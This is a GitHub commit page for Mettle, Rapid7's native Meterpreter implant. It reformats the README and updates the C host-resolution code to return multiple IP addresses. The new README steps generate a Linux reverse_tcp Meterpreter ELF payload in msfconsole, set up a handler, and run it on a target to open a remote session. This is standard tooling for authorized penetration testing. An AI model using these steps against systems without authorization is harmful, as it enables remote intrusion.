Skip to content

Commit

Permalink
Adds support for resolving multiple host IPs
Browse files Browse the repository at this point in the history
  • Loading branch information
cgranleese-r7 committed Dec 6, 2023
1 parent a2f3c75 commit 4abb1f7
Show file tree
Hide file tree
Showing 3 changed files with 152 additions and 52 deletions.
158 changes: 119 additions & 39 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,44 +1,37 @@
Mettle
======
# Mettle

This is an implementation of a native-code Meterpreter, designed for
portability, embeddability, and low resource utilization. It can run on the
smallest embedded Linux targets to big iron, and targets Android, iOS, macOS,
Linux, and Windows, but can be ported to almost any POSIX-compliant
environment.
This is an implementation of a native-code Meterpreter, designed for portability, embeddability, and low resource
utilization. It can run on the smallest embedded Linux targets to big iron, and targets Android, iOS, macOS, Linux, and
Windows, but can be ported to almost any POSIX-compliant environment.

Building on Linux
------------
## Building on Linux

Debain, Ubuntu, and derivatives are most supported for builds. To build, you need at least 5GB of free disk space, and the following packages available:
Debain, Ubuntu, and derivatives are most supported for builds. To build, you need at least 5GB of free disk space, and
the following packages available:

```
# Dependencies
apt install curl build-essential git autoconf automake libtool bison flex gcc ruby rake bundler git mingw-w64
```

The Dockerfile under docker/Dockerfile contains a pre-configured build
environment as well.
The Dockerfile under docker/Dockerfile contains a pre-configured build environment as well.

Building on macOS
------------
## Building on macOS

On macOS you will need to install the xcode command line tools as follows:

```
xcode-select --install
```

Make Targets
------------
## Make Targets

For general development, there are a few make targets defined:

Running `make` will build for the local environment. E.g. if you're on macOS,
it will build for macOS using your native compiler and tools.
Running `make` will build for the local environment. E.g. if you're on macOS,it will build for macOS using your native
compiler and tools.

`make TARGET=triple` will build for a specific host triple. See below for some
common ones.
`make TARGET=triple` will build for a specific host triple. See below for some common ones.

`make clean` will clean the 'mettle' directory for the current build target

Expand All @@ -48,8 +41,7 @@ common ones.

`make clean-parallel` and `make distclean-parallel` do similar for all targets.

Packaging
=========
# Packaging

To build the gem for distribution (currently requires Linux or macOS):

Expand All @@ -69,8 +61,7 @@ To completely reset your dev environment and delete all binary artifacts:
rake mettle:ultraclean
```

Gem API
-------
## Gem API

To generate a payload with Mettle:
```ruby
Expand All @@ -91,15 +82,14 @@ The available platform triples for Linux targets are:
* `mips64-linux-muslsf`
* `s390x-linux-musl`

For Mingw32-64 Windows targets, the following triples are added. On up-to-date
Debian / Ubuntu systems, the `mingw-w64` package will install both toolchains.
For Mingw32-64 Windows targets, the following triples are added. On up-to-date Debian / Ubuntu systems, the `mingw-w64`
package will install both toolchains.

* `x86_64-w64-mingw32`
* `i686-w64-mingw32`

For macOS/iOS builds, the following triples are added. To target older macOS/OSX
versions, see https://github.com/phracker/MacOSX-SDKs to get the appropriate
SDK folder.
For macOS/iOS builds, the following triples are added. To target older macOS/OSX versions, see
https://github.com/phracker/MacOSX-SDKs to get the appropriate SDK folder.

* `arm-iphone-darwin`
* `aarch64-iphone-darwin`
Expand Down Expand Up @@ -129,24 +119,114 @@ The formats are:
* `:process_image` - a process image that must be started with a custom stack (see `doc/stack_requirements.md`)


Using with Metasploit
---------------------
## Using with Metasploit

To pull your local changes of mettle into your Metasploit install:

1. Add `-dev` to the version in `lib/metasploit_payloads/mettle/version.rb`
2. Build the gem as above
1. Add `-dev` to the version in `lib/metasploit_payloads/mettle/version.rb`:
```
# -*- coding:binary -*-
module MetasploitPayloads
VERSION = '1.0.28-dev'
def self.version
VERSION
end
end
```
2. Build the gem with:
```
~/code/mettle$ rake build
=> metasploit_payloads-mettle 1.0.28.pre.dev built to pkg/metasploit_payloads-mettle-1.0.28.pre.dev.gem.
```
3. Copy `pkg/metasploit-payloads-mettle-X.X.X.pre.dev.gem` to the box you are using for Metasploit if it is different
4. Change the version in your metasploit-framework.gemspec to match the one you just built
4. Change the version in your `metasploit-framework.gemspec` to match the one you just built:
```
spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.28-dev'
```
5. `gem install <path to new gem>` (for example: 'metasploit_payloads-mettle', '0.4.1.pre.dev')
6. Run `bundle install` in your Framework directory, and ensure you see something like `Using metasploit_payloads-mettle 0.4.1.pre.dev (was 0.4.1)` in the output
7. Congrats, you are now done!
```
~/code/metasploit-framework$ gem install metasploit_payloads-mettle-1.0.28.pre.dev.gem
Successfully installed metasploit_payloads-mettle-1.0.28.pre.dev
Parsing documentation for metasploit_payloads-mettle-1.0.28.pre.dev
Installing ri documentation for metasploit_payloads-mettle-1.0.28.pre.dev
Done installing documentation for metasploit_payloads-mettle after 0 seconds 1 gem installed
```
6. Run `bundle install` in your Framework directory, and ensure you see something like the following in the output:
```
Using metasploit_payloads-mettle 1.0.28.pre.dev (was 1.0.26)
```

7. Use an appropriate payload:
```
msf6> use payload/linux/x64/meterpreter/reverse_tcp
```

8. Generate the payload:
```
msf6> payload(linux/x64/meterpreter_reverse_tcp) > generate -f elf -o mettle.elf
```

9. Change the file permissions:

```
msf6> payload(linux/x64/meterpreter_reverse_tcp) > chmod +x mettle.elf
```

10. Set up a handler
```
msf6> payload(linux/x64/meterpreter_reverse_tcp) > to_handler
```

11. Move the payload to the target machine and run it, you should now get back a session on `msfconsole`!


## Docker
The following steps make use of `gdb` for debugging.
1. Run the Docker container:
```
~/code/mettle$ sudo docker run -it -v $(pwd):$(pwd) -w $(pwd) rapid7/build:mettle /bin/bash
```

2. Within the container run the following commands:
```
/home/ubuntu/code/mettle# sudo apt-get update
/home/ubuntu/code/mettle# sudo apt-get install gdb
```

3. Compile(`D=1` enables debugging):
```
/home/ubuntu/code/mettle# make clean
/home/ubuntu/code/mettle# make D=1
```

4. Then run with `gdb`:
```
/home/ubuntu/code/mettle# gdb --args /home/ubuntu/code/mettle/build/linux.x86_64/bin/mettle --debug 3 --uri "tcp://192.168.175.1:4444"
```

5. Once within `gdb` run the following commands:
```
(gdb) b *main
(gdb) run
```

6. To get breakpoint in `gbd` add the following into your code:
```
__asm("int3");
```

### TUI
[TUI](https://sourceware.org/gdb/current/onlinedocs/gdb.html/TUI.html) allows `gdb` to show the code above the terminal
for easier code traversal when debugging. _Note_ TUI will remove use of arrows for navigating console history.

## Pushing out a New Gem

Pushing out a New Gem
----------------------
Build CI will automatically publish new gems when commits land to master and pass build.
1. Test Locally
2. Land the changes to upstream master
3. Monitor for the new gem on rubygems.org
4. Once the gem appears, make a PR for bumping the version in framework

41 changes: 28 additions & 13 deletions mettle/src/stdapi/net/resolve.c
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,11 @@
#include "log.h"
#include "tlv.h"

// Required to translate Metasploit's definition of AF_* to the host's defined value
// https://github.com/rapid7/metasploit-framework/blob/56016cb3e7b19af439d5007e868f5870f03227fb/lib/rex/post/meterpreter/extensions/stdapi/constants.rb#L19C1-L20
#define WIN_AF_INET 2
#define WIN_AF_INET6 23

static
void resolve_host_async(struct eio_req *req)
{
Expand All @@ -21,8 +26,12 @@ void resolve_host_async(struct eio_req *req)
int ret_val = TLV_RESULT_SUCCESS;

uint32_t addr_type;
if (tlv_packet_get_u32(ctx->req, TLV_TYPE_ADDR_TYPE, &addr_type) ||
(addr_type != AF_INET && addr_type != AF_INET6)) {
tlv_packet_get_u32(ctx->req, TLV_TYPE_ADDR_TYPE, &addr_type);
if (addr_type == WIN_AF_INET) {
addr_type = AF_INET;
} else if (addr_type == WIN_AF_INET6) {
addr_type = AF_INET6;
} else {
log_info("Unsupported address family '%u' for hostname resolution", addr_type);
ret_val = TLV_RESULT_EINVAL;
goto done;
Expand All @@ -42,21 +51,27 @@ void resolve_host_async(struct eio_req *req)

int result = getaddrinfo(hostname, NULL, &hints, &resolved_host);
if (result == 0) {
struct addr addr_host;
struct tlv_packet *resolve_host_entry = tlv_packet_new(TLV_TYPE_RESOLVE_HOST_ENTRY, 0);
struct addrinfo* i;
for(i=resolved_host; i!=NULL; i=i->ai_next)
{

if (addr_type == AF_INET) {
addr_pack(&addr_host, ADDR_TYPE_IP, IP_ADDR_BITS, \
&((struct sockaddr_in *)(resolved_host->ai_addr))->sin_addr, \
struct addr addr_host;
if (addr_type == AF_INET) {
addr_pack(&addr_host, ADDR_TYPE_IP, IP_ADDR_BITS, \
&((struct sockaddr_in *)(i->ai_addr))->sin_addr, \
IP_ADDR_LEN);
} else {
addr_pack(&addr_host, ADDR_TYPE_IP6, IP6_ADDR_BITS, \
&((struct sockaddr_in6 *)(resolved_host->ai_addr))->sin6_addr, \
} else {
addr_pack(&addr_host, ADDR_TYPE_IP6, IP6_ADDR_BITS, \
&((struct sockaddr_in6 *)(i->ai_addr))->sin6_addr, \
IP6_ADDR_LEN);
}
p = tlv_packet_add_addr(p, TLV_TYPE_IP, 0, 0, &addr_host);
p = tlv_packet_add_u32(p, TLV_TYPE_ADDR_TYPE, addr_type);
}

// XXX: C meterpreter has comment about this free possibliy causing segfaults on Linux
resolve_host_entry = tlv_packet_add_addr(resolve_host_entry, TLV_TYPE_IP, 0, 0, &addr_host);
resolve_host_entry = tlv_packet_add_u32(resolve_host_entry, TLV_TYPE_ADDR_TYPE, addr_type);
}
p = tlv_packet_add_child(p, resolve_host_entry);
// XXX: C meterpreter has comment about this free possibly causing segfaults on Linux
freeaddrinfo(resolved_host);
} else {
log_info("Unable to resolve host '%s': %d (%s)",
Expand Down
5 changes: 5 additions & 0 deletions mettle/src/tlv_types.h
Original file line number Diff line number Diff line change
Expand Up @@ -178,6 +178,11 @@

#define TLV_TYPE_SHUTDOWN_HOW (TLV_META_TYPE_UINT | 1530)

/*
* Resolves host/hosts
*/
#define TLV_TYPE_RESOLVE_HOST_ENTRY (TLV_META_TYPE_GROUP | 1550)

/*
* Registry
*/
Expand Down

0 comments on commit 4abb1f7

Please sign in to comment.